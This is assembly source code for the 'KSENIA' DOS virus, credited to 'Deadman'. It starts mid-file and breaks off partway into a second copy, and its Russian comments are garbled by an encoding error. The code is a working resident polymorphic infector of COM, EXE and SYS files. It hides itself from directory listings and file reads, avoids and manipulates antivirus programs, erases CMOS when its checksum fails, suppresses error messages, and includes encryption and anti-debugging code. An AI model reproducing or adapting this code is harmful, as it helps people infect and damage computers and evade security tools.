cx,cs:seek_pos ; 貰飡�メⓥ� cmp cx,28 jbe overwrite mov cx,28 sub cx,cs:seek_pos overwrite: mov al,cs:[si] ; ��誓��歲� 쭬．ギ¡� mov ds:[bp],al inc si inc bp loop overwrite virsubtract: call seeksave ; 쭬��キ畑� ��誓Д�莘 "seek_pos" 收ゃ蟯� call seekhide ; ㎛좂����� ��ギ┘�⑨ lseek'� � 飡�メº popa ; �黍�좈���� ㄻÞ� �젵쳽 popf mov ax,cs:nrbytes ; �昔葉�젷 ax 줎⒱... jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ゥ葉� ˘說貰��歲收ワ (ぎ＄� � �ⅲ� 曄-�Æ蝨� 쭬�ⓤ猶좐�) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 writehandler: cmp cs:stf,0 ; ㏇篆�� RAR'� ‥ｃ�? jne nowrite call handlecheck ; ㄸ稅��硫 �젵�? jc nowrite call inf? ; Þ十與昔쥯�? jnc nowrite call seeksave ; 貰魚젺畑� 丞젳졻�レ 쭬�ⓤ� pusha ; �㎖�졻º碎 췅 誓（飡�젹� push ds cs pop ds call load_original ; �黍（췅レ��� 췅�젷� -> � ▲芯� call seek2bof ; 丞젳졻�レ -> � 췅�젷� �젵쳽 mov ah,40h ; �②�� �黍（췅レ��� 췅�젷� �젵쳽 mov cx,28 ; 28 줎⒱ �� ▲芯�� lea dx,buffer call int21 jc disfail ; �鼇―�? �� 獸＄� �黍 쭬�ⓤ� 獸．, xor cx,ax ; 曄． �昔碎� �鼇―� ▲ㄵ� 獸┘! jnz disfail mov cx,-1 ; ㄲª젰п� � 췅�젷� 收쳽 ˘說�� mov dx,-vsize ; Œ� ぎ�軟 쭬�젲����� �昔｀젹щ call seekfrom_eof mov ah,40h ; 첓飡黍說�� �젵� (蝨젷畑� 收ギ ˘說�� xor cx,cx ; �� ˘說貰��歲收ワ call int21 mov ah,68h ; �②�� ㏇� 쩆��瑜 췅 ㄸ稅 call int21 disfail: call restoreseek ; ¡遜�젺젪エ쥯�� lseek pop ds ; ¡遜�젺젪エ쥯�� 誓（飡贍 popa nowrite: jmp exithandler ; �音�ㄸ� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Ah=18h,AL=0DDh: TSR test 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 tsrtest: cmp al,0ddh jne tsrexit mov ax,0303h jmp ireturn tsrexit: jmp exithandler 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 袴袴袴袴袴袴袴袴袴袴袴袴> S�U�B�R�O�U�T�I�N�E�S <袴袴袴袴袴袴袴袴袴袴袴袴� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ��ㄿ昔｀젹쵟 ㄻ� �昔´夕� �젵쳽 (bx=handle) 췅 쭬�젲����飡� ; cf=1 αエ 쭬�젲�� inf?: pusha ; 貰魚젺ⓥ� � 飡ⅹ� 誓（飡贍 push ds es push cs cs pop ds es call seeksave ; 貰魚젺畑� ��㎤與� lseek mov cx,-1 ; ㄲª젰п� � 췅�젷� ��ㄿ昔｀젹щ "extra" mov dx,-(eov-extra) ; (�� �ⅸ ▲ㄵ� 聲�涉筍) call seekfrom_eof mov ah,3fh ; 葉�젰� ��ㄿ昔｀젹с � "buffer" mov cx,(eov-extra) lea dx,buffer call int21 call restoreseek ; ¡遜�젺�˘筍 ��㎤與� lseek xor cx,ax ; ㏇� �昔葉�젷�刷? jnz not_infected lea si,buffer lea di,extra mov cx,eov-extra cld repe cmpsb jne not_infected infected: stc pop es ds popa ret not_infected: clc jmp infected+1 ; ��ㄿ昔｀젹쵟 ㄻ� �紐젽猶젺⑨ �黍（췅レ��． 췅�젷� 쭬�젲����� �昔｀젹щ ; 췅 ℡�ㄵ: bx - handler ; 췅 �音�ㄵ: "buffer" � �黍（췅レ�臾 �졹鼇菴�쥯��臾 췅�젷�� ; 貰魚젺畑� ��㎤與� lseek � �젵ゥ load_original: pushall ; save all 16-bit registers (exc. SP) push cs cs pop ds es xor cx,cx ; remember the current lseek position xor dx,dx call seekfrom_cur push ax dx mov cx,-1 ; seek to the virus start (-vsize bytes mov dx,-vsize ; from end of file) call seekfrom_eof ; mov ah,3fh ; read virus body to the buffer mov cx,vsize lea dx,buffer call int21 pop cx dx ; ¡遜�젺젪エ쥯�� ��㎤與� lseek � call seekfrom_bof ; 쭬�젲����� �昔｀젹Д mov byte ptr [buffer+(cr_ret-ksenia)],0cbh lea ax,buffer cwd mov cx,16 div cx mov cx,cs add ax,cx add dx,crypt-ksenia push cs offset retc push ax dx retf retc: lea si,[buffer+(original-ksenia)] lea di,buffer mov cx,28 cld rep movsb popall ret ; 븿說薯①α첓� �□젩�洙� �誓贍쥯�⑨ int 21h cr21z: pusha ; 貰魚젺ⓥ� 誓（飡贍 push ds es push cs cs pop ds es in al,40h sub al,70h jnc $-2 add al,80h+70h mov splint,al mov ah,25h lea dx,tsr int 21h cmp word ptr original,0ffffh jz my_int mov ax,1600h int 2fh or al,al jz no_win my_int: mov ax,3521h int 21h mov win21,bx mov win21+2,es mov ax,2521h lea dx,win_trick int 21h jmp motherfucker no_win: mov si,30h*4 ; 췅⒱� �黍（췅レ�硫 ´も�� �誓贍쥯�⑨ nextchain: ; int 21h cmp byte ptr [si],0eah ; �涉М� 쩆レ�Ł ㄶ젹�? jne another_way lds si,[si+1] ; 쭬｀習ⓥ� � ds:si 遜維ゃ ㄶ젹캙 cmp word ptr [si],9090h ; �젹 췅若ㅿ恂� 2 nop'�? jnz nextchain sub si,32h ; � αエ ˇ汀� ���젺麟�? cmp word ptr [si],9090h ; nop/nop je gotreal ; call far [....] another_way: cmp word ptr [si],2e1eh ; push ds jne motherfucker ; cs:[...]? add si,25h ; � 쩆レ蜈? cmp word ptr [si],80fah ; cli je gotreal ; cmp ah,[..] motherfucker: ; 曄 獸 Д�� ���αギ... push 0 pop ds lds si,ds:[84h] ; 쳽ㄽ�, 憶� � �º gotreal: mov cs:io21,si ; 쭬貰�猶젰� 曄 췅獄� � 瀞ⅸゃ 캙э殊 mov cs:io21+2,ds mov ax,ds:[si] ; 葉�젰� 2 ��舒瑜 줎⒱� �□젩�洵Ø� mov cs:prev2,ax ; 貰魚젺畑� ⓨ push cs pop ds mov ax,3501h int 21h mov io1,bx mov io1+2,es mov ax,2501h lea dx,trace int 21h pushf ; 貰魚젺ⓥ� � 飡ⅹ� 젮誓� push cs ; ¡㎖�졻� push offset trace_post pushf ; 貰魚젺ⓥ� � 飡ⅹ� 氏젫� 貰 pop ax ; ˚ヮ曄��臾 〃獸� 循졹歲昔˚� or ah,1 push ax push dword ptr io21 ; � 쭬｀習ⓥ� 젮誓� 21-． �□젩�洵Ø� mov ah,30h ; �ⅱÞ췅� 押�ゆ⑨ dos iret ; ��誓⒱� � 誓┬� 循졹歲昔˚� trace_post: pop es ds ; ℓα� щ ぎ�葉エ........... popa ret trace: push eax bp ds ; 循졹歲昔˚� 21-． mov ax,cs:io21 ; ˇ汀� 細ι���� inc ax mov bp,sp cmp [bp+8],ax ; �誘�キŒⓤ� エ ��舒瑜 je nextcmd ; ㄲ� 줎⒱� �□젩�洵Ø�? and word ptr [bp+12],0feffh ; 嵩�졻� 氏젫 循졹歲昔˚� mov eax,[bp+8] ; 淞ⓥ졻� 젮誓� 笹ⅳ莘耀� Þ飡說ゆĿ mov dword ptr cs:_addr21,eax push 0 ; ds=0 pop ds push dword ptr cs:io1 ; ¡遜�젺�˘筍 1-� ´も�� pop dword ptr ds:[4] nextcmd: pop ds bp eax ; �音�� �� �誓贍쥯�⑨ iret ; 循졹歲昔˚� ; Verifyes MCB owner verifymcb: pusha push ds es mov ah,62h ; get current psp segment call int21 dec bx ; get mcb segment mov ds,bx mov si,08h ; name of the owner lea di,stdisable cmpchar: mov al,[si] ; get char of the owner name call upreg cmp al,cs:[di] jne nextname or al,al jz the_same inc si inc di cmp si,10h je the_same jmp cmpchar nextname: inc di cmp byte ptr cs:[di],0 jne nextname inc di cmp byte ptr cs:[di],0ffh je the_different mov si,08h jmp cmpchar the_same: mov cs:stf,1 jmp quitvmcb the_different: mov cs:stf,0 quitvmcb: pop es ds popa ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; sys infection 컴 called by infect, [di] = buffer 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 sysinfect: cmp word ptr [di],0ffffh jne cierr call seek2eof or dx,dx jnz cierr cmp ax,65035-vsize ja cierr mov word ptr [di+8],ax add ax,(strategy-ksenia) xchg word ptr [di+6],ax mov word ptr old_strategy,ax clc ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; com infection 컴 called by infect, [di] = buffer 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 cominfect: cmp word ptr [di],0ffffh je cierr mov al,0e9h stosb call seek2eof or dx,dx jnz cierr cmp ax,65035-vsize ja cierr sub ax,3 stosw clc ret cierr: stc ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; exe infection 컴 called by infect, [di] = buffer 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 exeinfect: cmp byte ptr [di+18h],'@' ; NExe? je exerr mov ax,512 ; get file size from header mov cx,word ptr [di+4] cmp word ptr [di+2],0 jz $+3 dec cx mul cx add ax,word ptr [di+2] adc dx,0 xchg ax,si xchg dx,di call seek2eof ; and the real size cmp ax,si ; compare its jne exerr cmp dx,di jne exerr push ax dx ; get location in exe file mov cx,16 div cx sub ax,word ptr buffer+8 mov word ptr buffer+14h,dx mov word ptr buffer+16h,ax inc ax ; special for TBAV mov word ptr buffer+0eh,ax mov word ptr buffer+10h,3000h pop dx ax add ax,vsize ; get pages/lst page lenght adc dx,0 mov cx,512 div cx or dx,dx jz $+3 inc ax mov word ptr buffer+2,dx mov word ptr buffer+4,ax clc ret exerr: stc ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 뮙飡ⓣ濕� �젵� 췅 �誓ㄼβ �ⅶ졷젲젰М飡� + ˘�ㄾ信 �㎖�졻 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 filenamecheck: pusha ; 貰魚젺ⓥ� 誓（飡贍 mov si,dx ; si=dx dec si ; dec+inc=0 findend: inc si ; 췅⒱� ぎ�ζ cmp byte ptr [si],0 jne findend findname: dec si ; decrease si cmp byte ptr [si],'\' je gotname cmp byte ptr [si],':' je gotname cmp si,dx jae findname gotname: inc si ; si=filename mov ax,[si] ; get first chars call upreg cmp ax,'IW' ; Windows? je winfound otherfiles: cmp ax,'IF' ; FindVirus? je badfile cmp ax,'CS' ; Scan? je badfile cmp ax,'SV' ; VSafe/VShield? je badfile cmp ax,'BT' ; Fucked TBSCAN? je badfile cmp ax,'RD' ; DRWEB? je badfile cmp ax,'VA' ; AVP? je badfile cmp ax,'-F' ; F-PROT? je badfile cmp ax,'PF' ; FPROT? je badfile cmp ax,'DA' ; ADInf? je badfile cmp ax,'OC' ; COMMAND interpreter? je badfile clc ; filename is okay popa ret badfile: stc ; bad file... popa ret winfound: cmp cs:func_number,4b00h ; windows: EXECUTE? jne otherfiles mov ax,[si+2] ; get second two chars call upreg ; uppercase cmp ax,'.N' ; wiN.? jne otherfiles mov ax,[si+4] ; get third two chars call upreg cmp ax,'OC' ; win.CO? jne otherfiles push ds es ; widows executing: mov si,es:[bx+2] ; offset of command line mov ax,es:[bx+4] ; get segment =es=ds mov ds,ax mov es,ax mov di,si ; ds:si=es:di=comline inc di cld cmp byte ptr [si],0 ; no parameters entered? je writeparam mov al,0dh ; search for the cr(lf) mov cx,127 repne scasb jne noparam ; error? dec di writeparam: mov cx,6 add byte ptr [si],5 ; increase lenght of push cs ; the command line pop ds lea si,wino32bit rep movsb ; write new params... noparam: pop es ds clc ; exit, file is okay! popa ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Checks the handle (Disk file?) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 handlecheck: pusha mov ax,4400h call int21 jc hcerr test dl,80h jnz hcerr clc popa ret hcerr: stc popa ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; subroutine to decrease number of read bytes and remove lseek from virus zone 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 seekhide: call seek2eof sub ax,vsize sbb dx,0 cmp dx,cs:seek_pos+2 jb hidevirus ja not_us cmp ax,cs:seek_pos jae not_us hidevirus: push ax sub cs:seek_pos,ax mov ax,cs:seek_pos sub cs:nrbytes,ax ; subtract number of read bytes pop ax mov cs:seek_pos,ax mov cs:seek_pos+2,dx not_us: call restoreseek ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; lseek tools 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 seeksave: pusha xor cx,cx xor dx,dx call seekfrom_cur mov cs:seek_pos,ax mov cs:seek_pos+2,dx popa ret restoreseek: pusha mov dx,cs:seek_pos mov cx,cs:seek_pos+2 call seekfrom_bof popa ret seek2bof: mov ax,4200h xor cx,cx mov dx,cx jmp realseek seek2eof: mov ax,4202h xor cx,cx xor dx,dx jmp realseek seekfrom_eof: mov ax,4202h jmp realseek seekfrom_cur: mov ax,4201h jmp realseek seekfrom_bof: mov ax,4200h realseek: call int21 ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Upper case AX 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 upreg: cmp al,61h jb goodchar cmp al,7ah ja goodchar sub al,20h goodchar: cmp ah,61h jb _good_ cmp ah,7ah ja _good_ sub ah,20h _good_: ret ; 拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙� ; 拙拙拙拙拙拙拙拙拙拙� 귗篆좑 憶þ� ㄻ� Novell Network 拙拙拙拙拙拙拙拙拙拙� ; 拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙拙� novell: pushall mov ax,7a00h ; Novell installation check int 2fh or al,al jz no_novell mov ax,2ah ; 뒶獸贍� �졹? (ㄵ��..) call int21 cmp al,1 ; 룼�ⅳ�レ�Ø? jne no_novell mov ah,2ch ; 5 Ж�呻 ��-．? call int21 cmp cl,5 jne no_send push cs cs pop ds es cld in al,40h ; 笹晨젵��� 葉笹� and al,111b ; [0..7] mov word ptr buffer,9eh mov byte ptr buffer+2,0 ; ��笹졻� 貰�↓���� mov byte ptr buffer+3,1 ; 1 connection mov byte ptr buffer+4,al ; connection # mov byte ptr buffer+5,endnmess-nmess ; ㄻÞ� Д遜젫� lea si,nmess lea di,buffer+6 mov cx,endnmess-nmess rep movsb mov ah,0e1h ; �琇�젪ⓥ� �젶 lea si,buffer lea si,two_bytes call int21 mov cx,60 lea di,buffer+4 fake_down: mov byte ptr [di],10 inc di loop fake_down mov word ptr buffer,3eh mov byte ptr buffer+2,9 mov byte ptr buffer+3,3ch ; ㄻÞ� 貰�↓��⑨ lea si,buffer lea di,two_bytes mov ah,0e1h call int21 jmp no_novell no_send: cmp ch,17 jne no_novell mov ah,0d7h call int21 no_novell: popall ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇� ; 쭬�ⓤ� 쭬鼇菴�쥯���． 收쳽 ˘說�� � �젵� ; �젹�� ＋젪��� � 將�� ˘說醒 (��飡젪蚓� 栒�� ret � ㏇� � �(�)‥�� 쵟收黍) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 writevirus: mov ax,5700h ; 쭬�昔� №�Д��/쩆瞬 ��笹ⅳ�ⅲ� call int21 ; Мㄸ十與昔쥯�⑨ �젵쳽 push dx cx ; 貰魚젺ⓥ� � 飡ⅹ� mov ah,2ch ; 쭬�昔� 收ゃ耀． №�Д�� call int21 ; � dx:cx pop ax ; ¡遜�젺�˘筍 � ax � 貰魚젺ⓥ� 說�쥯 push ax ; №�э shr ah,3 ; ‥誓� �졹� (〃瞬 11-15 � cx) cmp ah,ch ; 貰¿젮좐�? αエ 쩆, 獸 送煎猶젰п�, je write_fail ; 譽�〓 �� 쭬聲βⓥ藺� call seek2eof ; � Þ좂� Ħ�� � ぎ�ζ �젵쳽 mov ah,40h ; 쭬�ⓤ猶젰п� � �젵� mov cx,vsize cwd call crypt_int21_crypt ; 說좂젷� 쭬鼇菴濕п� xor cx,ax ; ㏇� vsize 줎⒱ 쭬�ⓤ젷ⓤ�? jnz write_fail call seek2bof ; Ħ�� � 췅�젷� mov ah,40h ; 쭬�ⓤ猶젰� ˘ㄾ�㎚�����硫 mov cx,28 ; 쭬．ギ¡� com/exe �젵쳽 lea dx,buffer call int21 write_fail: pop cx dx ; �萸呻� 쩆栒 � №�э �젵쳽 mov ax,5701h ; 信�젺�˘筍 ⅴ �□졻�� call int21 ret MEM_ENC_END: ; 렊�젩�洵Ø �誓贍쥯�⑨ int 09h int9: pusha ; 貰魚젺ⓥ� ⓤ��レ㎯�щ� 誓（飡贍 push ds cs ; ds=cs pop ds in al,60h ; 葉�졻� 稅젺-ぎ� cmp al,80h ; か젪②� �琇信殊エ? jb quit_9 ; �β: �音�ㄸ� mov si,point ; Þ좂� 淞ⓥ젰� 收ゃ蟯� 丞젳졻�レ cmp [si],al ; 笹ⅳ莘�좑 ▲あ� ��ㅵ�ㄸ�? jne zero_pointer ; �β: �∼乘ⓥ� 丞젳졻�レ � �硫殊 inc si ; ��ㅵ�ㄸ�. Þむ�Д�殊昔쥯筍 丞젳졻�レ cmp si,offset keyword+6 ; ㏇� 6 ▲あ 〓エ 췅쬊瞬? jb save_it ; �β: 貰魚젺ⓥ� 將� ㎛좂���� mov al,0ffh out 21h,al mov ax,3 int 10h push cs pop es lea bp,smb_pattern mov dx,'1' modify_keygen: mov cx,1 mov ax,1100h mov bx,0e00h int 10h add bp,0eh inc dx cmp dx,'6' jne modify_keygen mov ah,1 mov ch,100000b int 10h mov ax,0b800h mov es,ax xor si,si xor di,di mov cx,endcopy-copy Im_here: mov al,cs:copy+si mov ah,0ah mov es:[di],ax inc si inc di inc di loop Im_here jmp $ zero_pointer: lea si,keyword ; �∼乘畑� 丞젳졻�レ save_it: mov point,si ; � 栒�� 貰魚젺畑� ⅲ� quit_9: pop ds ; ¡遜�젺젪エ쥯�� ㏇篆�� ㄵ閃М popa jmp dword ptr cs:io9 袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴 ireturn: call restorehost ; re-召쳽⒰Þ� pop word ptr cs:buffer ; garbage pop word ptr cs:buffer pop word ptr cs:buffer retf 2 袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴 exithandler: push si ds ax ; 貰魚젺ⓥ� 誓（飡贍 lds si,dword ptr cs:_addr21 ; 淞ⓥ졻� 젮誓� mov ah,cs:splint mov al,0cdh xchg ax,[si] mov cs:keepword,ax pop ax ds si mov cs:resthost,1 push bp mov bp,sp sub word ptr [bp+2],2 ; �洙�薛ⅹ殊昔쥯筍 獸囹� pop bp ; ¡㎖�졻� iret ; finita la comedia ; (№�ㄵ �젶) 袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴 restorehost: push ds si ax ; 貰魚젺ⓥ� 誓（飡贍 lds si,dword ptr cs:io21 ; 쩆筍 젮誓� �□젩�洵Ø� mov ah,cs:splint mov al,0cdh mov [si],ax ; 貰飡�歲筍 �留�� there pop ax si ds ; ¡遜ⓥ젺�˘筍 誓（飡贍 ret db 4 dup (?) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 룼ㄿ昔｀젹쵟 쭬/�젳-鼇菴�˚� �졹殊 ˘說�� ; 댾��レ㎯β XOR/ADD/SUB/NOT/INC/DEC/ROR/ROL/NEG 鼇菴��蟯え ; 뫉晨젵�硫 か蹟 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 crypt: pushf ; 貰魚젺ⓥ� ⓤ��レ㎯�щ� 誓（飡贍 pusha push ds foolsr: ; 췅ⅰ첓 ㄻ� ㄸ쭬遜�Аゥ�� mov ax,01ebh ; ��誓む猶좐蟯⒰� ぎ� mov bx,02ebh nop mov cx,3ebh nop nop mov dx,4ebh nop nop nop mov ax,2ebh jmp foolsr+1 call extra ; �揖ⓤエ筍 咨飡��-細ι���� push 0 ; 췅ⅰ첓 笠黍飡Ø� pop ds mov si,21h*4 ; ▲ㅲ� terminate, � ι� � 젺殊쩃줎� push dword ptr [si] lea ax,fool_antiv+bp push cs ax pop dword ptr [si] mov ah,0b4h int 21h cc?: cmp dx,0fa01h je $+30h fool_antiv: pop ax bx dx pop dword ptr [si] cmp byte ptr cs:cc?+bp,0cch jne bug int 19h bug: db 0b0h ; �졹鼇菴��猶젰� ＋젪�硫 pre_ki db 000h ; Д�젺�㎚ lea si,crmain+bp mov cx,endcr-crmain de_cr: xor cs:[si],al ; �昔飡臾 め�昔� inc si loop de_cr crmain: ; ＋젪�硫 Д�젺�㎚ jmp overtable algorithm dw 9090h ; 젷．黍燧 crtable label word ; �젩エ�� 쭬鼇菴��蟯ぎ� xor dl,cl add dl,cl sub dl,cl not dl inc dl dec dl ror dl,cl rol dl,cl neg dl decrtable label word ; �젩エ�� �졹鼇菴��蟯ぎ� xor dl,cl sub dl,cl add dl,cl not dl dec dl inc dl rol dl,cl ror dl,cl neg dl overtable: db 0ebh,decrypt-overtable-2 in al,40h ; ��ャ葉筍 笹晨젵��� 葉笹� sub al,9 jnc $-2 add al,9 cbw add ax,ax mov si,ax mov ax,cs:[crtable+si+bp] ; ˇ汀� 쭬鼇菴��蟯� mov cs:[algorithm+bp],ax in al,40h mov cs:[value+bp],al mov bx,si decrypt: mov ax,cs:algorithm+bp mov si,208h push dword ptr [si] mov word ptr [si],ax mov byte ptr [si+2],0cbh xor byte ptr cs:overtable+bp+1,decrypt-overtable-2 lea si,enc_start+bp ; Þⓩ쯄エ쭬與� mov cx,crypt-enc_start db 0b0h value db ? decrvirus: mov dl,byte ptr cs:[si] ; 췅ぎ�ζ-獸!!! xor al,cl xchg al,cl db 09ah dw 208h,0 xchg al,cl mov byte ptr cs:[si],dl inc si loop decrvirus pop dword ptr ds:[208h] endcr: mov si,bx mov ax,word ptr cs:[decrtable+bp+si] mov cs:[algorithm+bp],ax lea si,crmain+bp ; encrypt main engine mov cx,endcr-crmain in al,40h mov cs:pre_ki+bp,al c2: xor cs:[si],al inc si loop c2 pop ds popa popf cr_ret: ret ;_________--------------________ strategy: push bp call extra mov cs:[req_head+bp],bx mov cs:[req_head+bp+2],es pop bp db 68h old_strategy dw ? ret win_trick: nop nop db 0eah win21 dw ?,? int24h: db 0c0h,0e0h,10h ; shl (Œ� shr) al,10h => zero stc rcl al,3 ; ��ャ葉� al = 4 dec al iret ; �� 쭬ⅰ��Œ !!! crypt_int21_crypt: call crypt push offset crypt int21: pushf ; �留�� 21-． Þ�� db 0ebh,3 ; �黍Д�Œ ��誓む猶좐蟯⒰� ぎ� mov ax,04ebh jmp $-2 dw 0ffffh db 09ah ; call far ptr .. io21 dw ?,? ret extra: ; �揖ⓤワ�� ㄾ��キⓥ�レ��� 細ι���� pushf push eax db 66h,0b8h int 1ch subextr: jmp $+4 jmp $-4 mov bp,sp ; 淞ⓥ졻� ´殲Þ� 飡ⅹ� mov bp,word ptr [bp-6] sub bp,offset subextr pop eax popf ret eov: io1 dw ?,? ; 嵩ⅵ③� ㄻ� ´も�昔� io9 dw ?,? io1c dw ?,? io24 dw ?,? req_head dw ?,? point dw ? ; ㄻ� �□젩�洵Ø� int 09h resthost db ? _addr21 dw ?,? splint db ? keepword dw ? prev2 dw ? ; 췅�젷� 21-． �□젩�洵Ø� stf db ? ; 氏젫 ㄻ� �↓ⅲ� 飡�メ� drf db ? ; 氏젫 ㄻ� fcb 飡�メ� seek_pos dw ?,? ; Д飡� 魚젺��⑨ seek� nrbytes dw ? ; 獸┘ ㄻ� 淞ⓥ젺�音 줎⒱ func_number dw ? func_jump dw ? two_bytes dw ? sys_sp dw ? sys_ss dw ? psp dw ? buffer db vsize dup (?) eom: end ksenia 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[KSENIA.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[KSENIA.ASM]컴� comment � KSENIA Virus Version 1.0 Copyright (C) Deadman 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 TSR/COM/EXE fast polymorphic infector Infects on 1857h/3Dh/41h/43h/4Bh/56h/6Ch/7141h/7143h/7156h/716Ch/71A9h (Internal/Open/Del/Chmod/Exec/Ren/ExtOpen/LFNs/LFN Server Open) Size/Date stealth on 11h/12h/4Eh/4Fh/5700h/5701h/714Eh/714Fh/71A6h (Find First/Next FCB/DTA/LFN + Get/Set File Time/Date + Get Handle Info) Redirection stealth on 3Fh/42h (Read/LSeek) SFT stealth without using any SFT values (for Novell/Win95 compatibility) Disinfects the host on 40h (Write) Re-Hooks Int 21h vector after Win95 installation. Works perfectly! Re-Hooks Int 21h vector if virus handler has been removed from the chain Every second it calcucates CRC32 and erases CMOS if the CRC is incorrect Virus stays resident in low memory, executing the host with 4B00h function When some of AVs are executing, virus adds some parameters to cmdline Polymorphic in files uses its internal polymorphic engine Engine uses table-based instructions as a random size garbage (85% of 8086) Engine uses different count and index registers Generates different decryptors (ADD/SUB/XOR/NOT/NEG/ROR/ROL/INC/DEC imm8) Has a second internal shield (secondary encrypts itself with a kewl method) Will not infect files with a current hour stamp Filenames with digits will not be infected Will not infect AVP/DrWeb/Web/F-Prot/TB/ADInf/Clean/Scan/NOD/VSafe/Anti/NAV/FV/FindViru/Command Disable stealth if PkZip/RAR/ARJ/LHA/ARC/DEFRAG/SPEEDISK/CHKDSK/BACKUP/MSBACKUP/ScanDisk/NDD are running Intercepts Int 24h to disallow user be warned by a critial error message Virus was analysed by these AVs AVP 3.0.130 - No detection or warns DRWEB 4.11 - No detection or warns F-PROT 3.05 - No detection or warns Deadman from hell. E-Mail: dman@mail.ru � vsize equ eov-ksenia ; ㄸ稅�쥯� 캙э筍 ㄻ� ˘說�� msize equ eom-ksenia ; �젳Д� 캙э殊 循ⅰ濕М� ˘說率 crlen equ 256 ; �젳Д� �졹鼇菴��蟯첓 B equ ; �ⅹ�獸贍� 貰む좈��⑨ W equ D equ mvs macro Seg1,Seg2 ; 쵟む�� push Seg2 ; mvs es,cs -> push cs/pop es pop Seg1 endm model tiny ; ��룋� codeseg p386 org 100h ksenia: xor bp,bp ; �拾�� ㄻ� 1-． 쭬�信첓 ˘說�� call crc ; ��ㅱ曄� CRC ˘說�� cmp 